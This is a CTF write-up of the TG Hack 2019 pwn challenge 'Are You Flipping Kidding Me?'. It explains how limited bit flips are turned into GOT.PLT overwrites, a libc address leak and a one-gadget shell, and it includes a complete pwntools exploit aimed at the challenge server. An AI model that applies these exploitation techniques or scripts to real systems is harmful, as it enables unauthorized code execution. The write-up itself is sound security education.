Are You Flipping Kidding Me? TG HACK 19
Inequation Group participated and won TG Hack 2019, this was one of the more interesting challenges that I solved
Start TLDR;
Are you Flipping Kidding me was a hard pwn exercise, where one was given a write anywhere primitive which was initially limited to the flipping of only 5 bits. As the executable was only partial RELRO one could flip bits in the GOT.PLT table to gain control over the execution and get an unlimited write. From there one could force an infoleak of an address within Libc which allowed one to easily use an onegadget to get a shell.
End TLDR;
The executable was quite simplistic it “only had 3 functions” main, do_flip and initialize
int initialize()
{
struct tm *v0; // rax
char *format; // ST10_8
char *v2; // rax
time_t timer; // [rsp+40h] [rbp-10h]
unsigned __int64 v5; // [rsp+48h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
alarm(0x28u);
timer = time(0LL);
v0 = localtime(&timer);
format = welcome_str;
v2 = asctime(v0);
return snprintf(buf, 0x7FuLL, format, v2);
}
initialize is a function which is called automagically at the “start” of the execution of the program
int __cdecl__ noreturn main(int argc, const char **argv, const char** envp)
{
signed int i; // [rsp+18h] [rbp-8h]
puts(buf);
i = 0;
/*
Iterate 5 times over the do flip operation
*/
printf("I'll let you flip 5 bits, but that's it!\n", argv);
while ( i < 5 )
{
do_flip();
++i;
}
printf("Thank you for flipping us off!\nHave a nice day :)\n");
/*
exit without returining
*/
exit(0);
}
As we can see main doesn’t return rather it exits which is something we will use to our advantage. We could have still exploited the program if main just returned, but it would have limited us to writing to only 4 bits at a time
unsigned __int64 do_flip()
{
unsigned int BitNr; // [rsp+Ch] [rbp-14h]
_BYTE *PointerToAdress; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Enter addr:bit to flip: ");
__isoc99_fscanf(stdin, "%p:%u", &PointerToAdress, &BitNr);
if ( BitNr > 7 )
exit(1);
*PointerToAdress ^= 1 << BitNr;
return __readfsqword(0x28u);
}
do_flip is our write anywhere primitive sadly it is currently limited by the main loop as it is only iterated over 5 times we can easily change that by forcing the got.plt entry of exit to point to _start, this is possible as exit@got.plt isn’t initialized yet and thereby point to an area inside of the .plt segment
What we need to set exit@got.plt to __start
>>> bin(0x400766^0x400770)
'0b10110'
This allows us to iterate over the whole code multiple times by just changing 3 bits allowing us to perform more drastic changes to the execution flow, we will call the current execution flow big loop. The big loop is sadly also a limiting factor as it still limits the number of modifications we can do on functions that are called GOT.PLT’s entries to only 5 bits, this isn’t really true as we can still modify them as much as we want the only limitation being that the entry has to work, read not segfault, when it gets called.
To mitigate this i decided I wanted to change the execution flow once more to something shorter and less limiting this was possible as we have one more function that wasn’t yet initialized which is __stack_chk_fail which uninitialized points towards 0x4006f6 as we want to reach the start of main which is at 0x400940 this requires 9 bit flips
The bit flips we need to perform to set __stack_chk_fail to the base of main
>>> bin(0x400940^0x4006f6)
'0b111110110110'
The bit flips we need to perform to set exit to the got entry of __stack_chk_fail
>>> bin(0x4006f0^0x400770)
'0b110000000'
__stack_chk_fail is also in a very comfortable position as we have the got entry at 0x4006f0 which is only two bit flips away from 0x400770 this allows us to properly simulate function calls as we can change __stack_chk_fail to anything and then change exit’s got.plt entry so that it points to __stack_chk_fail using only 2 bit flips then call exit by trying to write to the 9 bit of an address and then change exit back to it’s original value for a total of 5 flips.
We now have quite nice control over the execution flow, now we just need to know which of the function calls happen with a favorable state to so that we can land on one of the possible onegadgets for that version of libc which are
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
After some testing i discovered that the call to alarm would work fine so i decided that i could just flip the bits of the entry of alarm to add the relative offset of the gadget to the got.plt entry of alarm and in that way call alarm by just changing back to the big loop. This of course didn’t work as just using xor when doing addition is the same as doing addition without carry which isn’t that useful or precise and thereby we most often than not end up calling random stuff in libc.
Because of this we need an info leak so that we can calculate the current value of the got.plt entry of alarm and what we need to change it to. We also need a function which dynamically calculates the operations we need to perform to set the address to what we need.
As for the info leak we are quite lucky as the welcome_str is saved just as a pointer in the data segment which means that we can directly modify it to something else if we change it to point to “%p:%u” we can leak a pointer to something in libc and from there calculate the value of both alarm and our gadget. To sum it all up
1.) We set exit@got.plt to _start to get infinite writes
2.) We set __stack_chk_fail@got.plt to the start of main
3.) We set exit@got.plt to __stack_chk_fail@got
4.) We modify the welcome_message pointer to set it to “%p:%u”
5.) We set exit@got.plt to _start to trigger the leak
6.) We set exit@got.plt to __stack_chk_fail@got
7.) We modify the alarm@got.plt to point to our gadget
8.) We set exit@got.plt to _start to trigger the exploit
We put all of this togheter and end up with the following exploit
from pwn import *
import time
def flipbits(addr, orig, new, mask=0xFFFFFFFFF):
to_flip = (orig ^ new) & mask;
instructions = []
for b in range(0, 8):
for i in range(0,8):
if to_flip & (1 << (i + (8*b))):
instructions.append('0x{0:X}:{1}'.format(addr + b,i))
return instructions
"""
r= gdb.debug('./flip',"""
# break *initialize+92
# command
# x/xg &'alarm@got.plt'
# x/xg &'exit@got.plt'
# x/xg &'__stack_chk_fail@got.plt'
# end
# continue""")
#"""
r=remote('flip.tghack.no',1947)
#Get infinit write Big Loop
r.sendline('0x601068:1')
r.sendline('0x601068:2')
r.sendline('0x601068:4')
#Start change of __stack_chk_fail@got.plt
r.sendline('0x601030:1')
r.sendline('0x601030:2')
print("Sent First stage of loop change")
r.sendline('0x601030:4')
r.sendline('0x601030:5')
r.sendline('0x601030:7')
r.sendline('0x601031:0')
r.sendline('0x601031:1')
print("Sent Second Stag of loop change")
r.sendline('0x601031:2')
r.sendline('0x601031:3')
#changes to smaller loop
print("Changing to smaller loop")
r.sendline('0x601068:7')
r.sendline('0x601069:0')
#forces exit
r.sendline('0x0:8')
LeakAddr = 0x601080
i = flipbits(LeakAddr,0x00400b51,0x00400b8a)
for x in i:
r.sendline(x)
#Important that we know how may Writes we have left
r.sendline('0x0:8')
#Changes back to biger loop trigger info leak
r.sendline('0x601068:7')
r.sendline('0x601069:0')
r.sendline('0x0:8')
#Wait for server
time.sleep(2)
Whatever = r.recv().split(" ")[::-1]
for i in Whatever:
if "0x"in i:
print("Got Memory Adress =%s"%i.split(':')[0])
Whatever = int(i.split(':')[0],16)
#Change these for different versions of libc
Alarm= Whatever-0x3092E0
print("Alarm =0x%x"%Alarm)
Gadget= Whatever-0x39E7FE
print("Gadget=0x%x"%Gadget)
#Changes back to smaller loop
r.sendline('0x601068:7')
r.sendline('0x601069:0')
i = flipbits(0x601050,Alarm,Gadget)
for x in i:
r.sendline(x)
r.sendline('0x0:8')
print("Finished sending payload")
#Trigger exploit by changing to bigger loop
r.sendline('0x601068:7')
r.sendline('0x601069:0')
#Padding
r.sendline('0x601030:4')
r.sendline('0x601030:5')
r.sendline('0x601030:7')
#Clean junk
r.clean()
#Get shell
r.sendline('id')
r.interactive()
I would like to take this opportunity to thank the volunteers that organized this CTF it was truly an unique experience